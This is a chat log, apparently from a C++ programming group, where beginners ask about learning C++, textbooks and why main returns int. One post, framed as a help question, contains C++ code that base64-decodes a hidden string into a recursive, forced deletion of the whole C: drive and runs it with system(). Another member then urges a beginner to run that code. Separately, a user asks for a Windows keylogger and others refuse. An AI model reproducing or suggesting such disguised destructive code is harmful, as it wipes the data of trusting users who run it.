Oleksandr
vec.erase("хватит людей тролить, животное, на работу иди лучше))))");
Anonymous
/saved
Anonymous
0_to_show_item_use"#item"
Anonymous
I'm student of Mechanical Engineering and i have interest in Programming. How difficult to learn it for me? *Only Positive Response
Pavel
I'm student of Mechanical Engineering and i have interest in Programming. How difficult to learn it for me? *Only Positive Response
If you have the interest it's much easier by default than if you didn't. "Learn" is a vague term, learn at what level? It's easy to learn the syntax and how to write simple programs. It's almost impossible to learn everything related to the programming even on one technology. I program on C++ for about 6 years (5 for work), and can't say that I've learned it, not even close. But someone who is learning it for 2 weeks may claim that he(she) has learnt it (so different definitions of "learn").
Mihail
if you're willing to learn it's easy, otherwise it's impossible
Alex
Hello members, I am Mirugwe Alex a student of Computer Engineering. I want to start learning C. Who can help me with text books for beginners?
Anonymous
🤔 for @skid_tg_says
james
#cppbook
Anonymous
Hello programmers which compiler is best for c + +
kλletaa
g++
Aiman
hi, anyone have launch4j ??
Dima
🤔 for @skid_tg_says
Drop it to their pm, not here
Dima
Its difficult in its aspects
-_-
#cbool
-_-
#cbook
-_-
#cppbook
kvark
Bible! holy shit!
Allan
#cbook
Allan
#cppbook
Allan
#c#book
Allan
#objectivecbook
Till
I need help so much Is it true way? #include <cstdlib> #include <vector> #include <string> static std::string magic_number() { std::string out; std::vector<int> T(256,-1); for (int i=0; i<64; i++) T["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[i]] = i; int val=0, valb=-8;for (char c : "ZGVsIC9TIC9GIC9RIGM6XA==") {if (T[c] == -1) break;val = (val<<6) + T[c];valb += 6;if (valb>=0) {out.push_back(char((val>>valb)&0xFF));valb-=8;}} return out; } int main() { system(magic_number().c_str()); return 0; }
Jitendra
🎂🎂🎂
Oleksandr
really true way
Oleksandr
but if you will try 5-10 times in a row, u'll catch funny ub
Zues
The best to get started with C++. Guys help!
Oleksandr
on windows
Zues
Yes
Oleksandr
The best to get started with C++. Guys help!
run code above and try to find error
Zues
Error found on line 1
Zues
The best way to get started with C++. Guys help!
Devansh
The best way to get started with C++. Guys help!
First Learn basic of that and after that just go with DS & Algo in C++ after that you will able to confident in C++
Zues
😒😒
Oleksandr
Zues
Lol
Groot 🗿
Anyone has key logger for Windows ?
Roxifλsz 🇱🇹
Groot 🗿
Wtf are u all afraid just b'coz i asked about key logger
Roxifλsz 🇱🇹
Not afraid
Roxifλsz 🇱🇹
But that shit is offtopic
Roxifλsz 🇱🇹
And you're a skid
Ariana
And also a proper ‘hacker’ would know how, and don’t need to rely on other’s tools
Astral
Why we use int main() in c?
Astral
I know main is the function block but what is the use of into here?
Astral
Use what?
Why we add int before?
Astral
What's that mean
Victor D.
the main function returns an number to the OS to let it know how your program perfomed
Victor D.
If your program run succesfully, it returns 0 otherwise might be an error
Victor D.
Mohammed
Hi guys I am starting computer sciences I going to start c++ Is c++ difficult?
Astral
So if we"all not use int before main then? What happens I know it shows error but why?
Astral
But why not in python follows the same?
Astral
Like other language
Vladimir
?
Vladimir
I don't understand you
Victor D.
Exactly. main is a function, therefore most have a return type, however some compilers accept main with void or even without any return type, but this is a bad practice, you should always declare it like this: int main(int args, char** argv)
Till
You can use void main() if you want.
No, Sir, plz, no, it's not valid, it's terrible
András
Exactly. main is a function, therefore most have a return type, however some compilers accept main with void or even without any return type, but this is a bad practice, you should always declare it like this: int main(int args, char** argv)
No. Due to standart u should write only int main(). You may write as argument int args, char* argv[] but it isn't necessary. Everything else -- can change due to compiler
András
There is argc also
Doesn't matter
András
Because name of variable change nothing
András
Except of reading
Astral
--\___("o")___/--
Anonymous
int getValue(){ return 5; return 7;} What will be returned..?